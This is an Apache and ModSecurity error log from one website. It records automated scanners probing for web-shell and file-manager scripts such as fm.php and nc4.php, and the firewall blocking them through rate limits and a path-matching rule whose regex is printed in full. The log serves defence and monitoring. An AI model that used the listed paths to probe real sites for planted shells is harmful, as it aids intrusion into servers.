[Sun Dec 14 04:23:34.102213 2025] [:error] [pid 39523:tid 39546] [client 20.89.218.172:12997] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ant.php"] [unique_id "aT3LRjQTQH1raAj2lkgS0QAAABI"]
[Sun Dec 14 04:23:34.491005 2025] [:error] [pid 39525:tid 39605] [client 20.89.218.172:13080] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ant.php"] [unique_id "aT3LRk1fX_pB_BrvE_5ezAAAAJY"]
[Sun Dec 14 04:23:34.802854 2025] [:error] [pid 39525:tid 39597] [client 20.89.218.172:13010] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ant.php"] [unique_id "aT3LRk1fX_pB_BrvE_5ezgAAAI4"]
[Sun Dec 14 04:23:35.179205 2025] [:error] [pid 39614:tid 39638] [client 20.89.218.172:13211] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ant.php"] [unique_id "aT3LR_xybG8-9MflbDdvcwAAANY"]
[Sun Dec 14 04:23:35.609467 2025] [:error] [pid 39525:tid 39583] [client 20.89.218.172:13063] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex.php"] [unique_id "aT3LR01fX_pB_BrvE_5e0AAAAIA"]
[Sun Dec 14 04:23:35.939345 2025] [:error] [pid 39524:tid 39575] [client 20.89.218.172:13037] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex.php"] [unique_id "aT3LR2rVGpbDzFtDE9P3NgAAAFM"]
[Sun Dec 14 04:23:36.540068 2025] [:error] [pid 39525:tid 39600] [client 20.89.218.172:12977] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex.php"] [unique_id "aT3LSE1fX_pB_BrvE_5e1gAAAJE"]
[Sun Dec 14 04:23:36.888625 2025] [:error] [pid 39523:tid 39544] [client 20.89.218.172:13151] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex.php"] [unique_id "aT3LSDQTQH1raAj2lkgS1wAAABA"]
[Sun Dec 14 04:23:37.189290 2025] [:error] [pid 39614:tid 39634] [client 20.89.218.172:13012] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aT3LSfxybG8-9MflbDdvfwAAANI"]
[Sun Dec 14 04:23:37.506891 2025] [:error] [pid 39525:tid 39584] [client 20.89.218.172:13077] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aT3LSU1fX_pB_BrvE_5e2QAAAIE"]
[Sun Dec 14 04:23:37.860856 2025] [:error] [pid 39523:tid 39547] [client 20.89.218.172:13302] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aT3LSTQTQH1raAj2lkgS2wAAABM"]
[Sun Dec 14 04:23:38.272159 2025] [:error] [pid 39523:tid 39533] [client 20.89.218.172:13021] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aT3LSjQTQH1raAj2lkgS3gAAAAU"]
[Sun Dec 14 04:23:38.593348 2025] [:error] [pid 39523:tid 39542] [client 20.89.218.172:13085] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aT3LSjQTQH1raAj2lkgS4AAAAA4"]
[Sun Dec 14 04:23:38.886514 2025] [:error] [pid 39524:tid 39566] [client 20.89.218.172:12941] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aT3LSmrVGpbDzFtDE9P3OQAAAEo"]
[Sun Dec 14 04:23:39.161703 2025] [:error] [pid 39523:tid 39537] [client 20.89.218.172:13024] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aT3LSzQTQH1raAj2lkgS4wAAAAk"]
[Sun Dec 14 04:23:39.545173 2025] [:error] [pid 39524:tid 39571] [client 20.89.218.172:12953] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aT3LS2rVGpbDzFtDE9P3OgAAAE8"]
[Sun Dec 14 04:23:39.944417 2025] [:error] [pid 39614:tid 39616] [client 20.89.218.172:13016] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aT3LS_xybG8-9MflbDdvhQAAAMA"]
[Sun Dec 14 04:23:40.278505 2025] [:error] [pid 39524:tid 39580] [client 20.89.218.172:13028] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aT3LTGrVGpbDzFtDE9P3PgAAAFg"]
[Sun Dec 14 04:23:40.778459 2025] [:error] [pid 39523:tid 39538] [client 20.89.218.172:13008] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aT3LTDQTQH1raAj2lkgS6AAAAAo"]
[Sun Dec 14 04:23:41.207187 2025] [:error] [pid 39614:tid 39638] [client 20.89.218.172:13087] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aT3LTfxybG8-9MflbDdvhwAAANY"]
[Sun Dec 14 04:23:41.589396 2025] [:error] [pid 39614:tid 39622] [client 20.89.218.172:13132] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpc.php"] [unique_id "aT3LTfxybG8-9MflbDdviQAAAMY"]
[Sun Dec 14 04:23:42.332343 2025] [:error] [pid 39524:tid 39558] [client 20.89.218.172:13051] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpc.php"] [unique_id "aT3LTmrVGpbDzFtDE9P3QgAAAEI"]
[Sun Dec 14 04:23:42.915481 2025] [:error] [pid 39523:tid 39532] [client 20.89.218.172:13023] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpc.php"] [unique_id "aT3LTjQTQH1raAj2lkgS7AAAAAQ"]
[Sun Dec 14 04:23:43.440977 2025] [:error] [pid 39524:tid 39567] [client 20.89.218.172:12934] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpc.php"] [unique_id "aT3LT2rVGpbDzFtDE9P3RQAAAEs"]
[Sun Dec 14 04:23:44.471637 2025] [:error] [pid 39524:tid 39575] [client 20.89.218.172:13022] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lc.php"] [unique_id "aT3LUGrVGpbDzFtDE9P3RwAAAFM"]
[Sun Dec 14 04:23:45.271138 2025] [:error] [pid 39614:tid 39633] [client 20.89.218.172:13018] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lc.php"] [unique_id "aT3LUfxybG8-9MflbDdvkAAAANE"]
[Sun Dec 14 04:23:45.724425 2025] [:error] [pid 39525:tid 39596] [client 20.89.218.172:12961] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lc.php"] [unique_id "aT3LUU1fX_pB_BrvE_5e6QAAAI0"]
[Sun Dec 14 04:23:46.097901 2025] [:error] [pid 39523:tid 39551] [client 20.89.218.172:12933] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lc.php"] [unique_id "aT3LUjQTQH1raAj2lkgS9AAAABc"]
[Sun Dec 14 04:23:46.434809 2025] [:error] [pid 39525:tid 39597] [client 20.89.218.172:12951] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mlex.php"] [unique_id "aT3LUk1fX_pB_BrvE_5e7gAAAI4"]
[Sun Dec 14 04:23:46.940107 2025] [:error] [pid 39525:tid 39600] [client 20.89.218.172:13129] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mlex.php"] [unique_id "aT3LUk1fX_pB_BrvE_5e8QAAAJE"]
[Sun Dec 14 04:23:47.433479 2025] [:error] [pid 39524:tid 39571] [client 20.89.218.172:13099] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mlex.php"] [unique_id "aT3LU2rVGpbDzFtDE9P3TQAAAE8"]
[Sun Dec 14 04:23:47.775640 2025] [:error] [pid 39614:tid 39619] [client 20.89.218.172:13007] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mlex.php"] [unique_id "aT3LU_xybG8-9MflbDdvkwAAAMM"]
[Sun Dec 14 04:23:48.036623 2025] [:error] [pid 39523:tid 39530] [client 20.89.218.172:13106] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aT3LVDQTQH1raAj2lkgS-AAAAAI"]
[Sun Dec 14 04:23:48.378521 2025] [:error] [pid 39524:tid 39569] [client 20.89.218.172:13084] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aT3LVGrVGpbDzFtDE9P3TgAAAE0"]
[Sun Dec 14 04:23:48.762124 2025] [:error] [pid 39614:tid 39640] [client 20.89.218.172:12985] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aT3LVPxybG8-9MflbDdvlAAAANg"]
[Sun Dec 14 04:23:49.149662 2025] [:error] [pid 39523:tid 39532] [client 20.89.218.172:13285] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aT3LVTQTQH1raAj2lkgS_AAAAAQ"]
[Sun Dec 14 04:23:49.541851 2025] [:error] [pid 39614:tid 39636] [client 20.89.218.172:12935] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aT3LVfxybG8-9MflbDdvlQAAANQ"]
[Sun Dec 14 04:23:49.983198 2025] [:error] [pid 39614:tid 39623] [client 20.89.218.172:13078] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aT3LVfxybG8-9MflbDdvlgAAAMc"]
[Sun Dec 14 04:23:50.241785 2025] [:error] [pid 39524:tid 39576] [client 20.89.218.172:13083] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aT3LVmrVGpbDzFtDE9P3UgAAAFQ"]
[Sun Dec 14 04:23:50.622018 2025] [:error] [pid 39525:tid 39587] [client 20.89.218.172:13104] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aT3LVk1fX_pB_BrvE_5e_QAAAIQ"]
[Sun Dec 14 04:23:50.986243 2025] [:error] [pid 39523:tid 39540] [client 20.89.218.172:13035] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mpvloi.php"] [unique_id "aT3LVjQTQH1raAj2lkgTAAAAAAw"]
[Sun Dec 14 04:23:51.324449 2025] [:error] [pid 39523:tid 39539] [client 20.89.218.172:13060] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mpvloi.php"] [unique_id "aT3LVzQTQH1raAj2lkgTAQAAAAs"]
[Sun Dec 14 04:23:51.717447 2025] [:error] [pid 39525:tid 39595] [client 20.89.218.172:12995] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mpvloi.php"] [unique_id "aT3LV01fX_pB_BrvE_5fAwAAAIw"]
[Sun Dec 14 04:23:52.068625 2025] [:error] [pid 39524:tid 39577] [client 20.89.218.172:12943] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mpvloi.php"] [unique_id "aT3LWGrVGpbDzFtDE9P3VQAAAFU"]
[Sun Dec 14 04:23:52.392961 2025] [:error] [pid 39614:tid 39624] [client 20.89.218.172:13034] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v1.php"] [unique_id "aT3LWPxybG8-9MflbDdvmQAAAMg"]
[Sun Dec 14 04:23:52.832530 2025] [:error] [pid 39524:tid 39560] [client 20.89.218.172:13112] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v1.php"] [unique_id "aT3LWGrVGpbDzFtDE9P3VwAAAEQ"]
[Sun Dec 14 04:23:53.489151 2025] [:error] [pid 39523:tid 39537] [client 20.89.218.172:13143] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v1.php"] [unique_id "aT3LWTQTQH1raAj2lkgTDgAAAAk"]
[Sun Dec 14 04:23:53.987140 2025] [:error] [pid 39523:tid 39535] [client 20.89.218.172:12930] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v1.php"] [unique_id "aT3LWTQTQH1raAj2lkgTEAAAAAc"]
[Sun Dec 14 04:23:54.262036 2025] [:error] [pid 39524:tid 39567] [client 20.89.218.172:13097] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v2.php"] [unique_id "aT3LWmrVGpbDzFtDE9P3WgAAAEs"]
[Sun Dec 14 04:23:54.590033 2025] [:error] [pid 39523:tid 39548] [client 20.89.218.172:13015] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v2.php"] [unique_id "aT3LWjQTQH1raAj2lkgTEwAAABQ"]
[Sun Dec 14 04:23:54.929871 2025] [:error] [pid 39524:tid 39556] [client 20.89.218.172:13038] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v2.php"] [unique_id "aT3LWmrVGpbDzFtDE9P3WwAAAEA"]
[Sun Dec 14 04:23:55.315397 2025] [proxy_fcgi:error] [pid 39614:tid 39626] [client 20.89.218.172:12929] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:23:55.475820 2025] [proxy_fcgi:error] [pid 39614:tid 39633] [client 20.89.218.172:12929] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:23:55.600117 2025] [proxy_fcgi:error] [pid 39614:tid 39619] [client 20.89.218.172:12929] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:28:23.102334 2025] [proxy_fcgi:error] [pid 39525:tid 39597] [client 52.169.159.88:12232] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:28:23.354636 2025] [proxy_fcgi:error] [pid 39525:tid 39601] [client 52.169.159.88:12232] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:28:23.608526 2025] [proxy_fcgi:error] [pid 39525:tid 39605] [client 52.169.159.88:12232] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:28:23.863396 2025] [proxy_fcgi:error] [pid 39525:tid 39594] [client 52.169.159.88:12232] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:28:24.121000 2025] [proxy_fcgi:error] [pid 39525:tid 39593] [client 52.169.159.88:12232] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:28:24.381320 2025] [proxy_fcgi:error] [pid 39525:tid 39590] [client 52.169.159.88:12232] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:28:24.630824 2025] [:error] [pid 39525:tid 39599] [client 52.169.159.88:12232] [client 52.169.159.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aT32mE1fX_pB_BrvE_6UtQAAAJA"]
[Sun Dec 14 07:28:25.136009 2025] [proxy_fcgi:error] [pid 41600:tid 41616] [client 52.169.159.88:1673] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:28:25.389493 2025] [proxy_fcgi:error] [pid 41600:tid 41621] [client 52.169.159.88:1673] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:28:25.642472 2025] [proxy_fcgi:error] [pid 41600:tid 41611] [client 52.169.159.88:1673] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:28:25.895587 2025] [proxy_fcgi:error] [pid 41600:tid 41608] [client 52.169.159.88:1673] AH01071: Got error 'Primary script unknown'
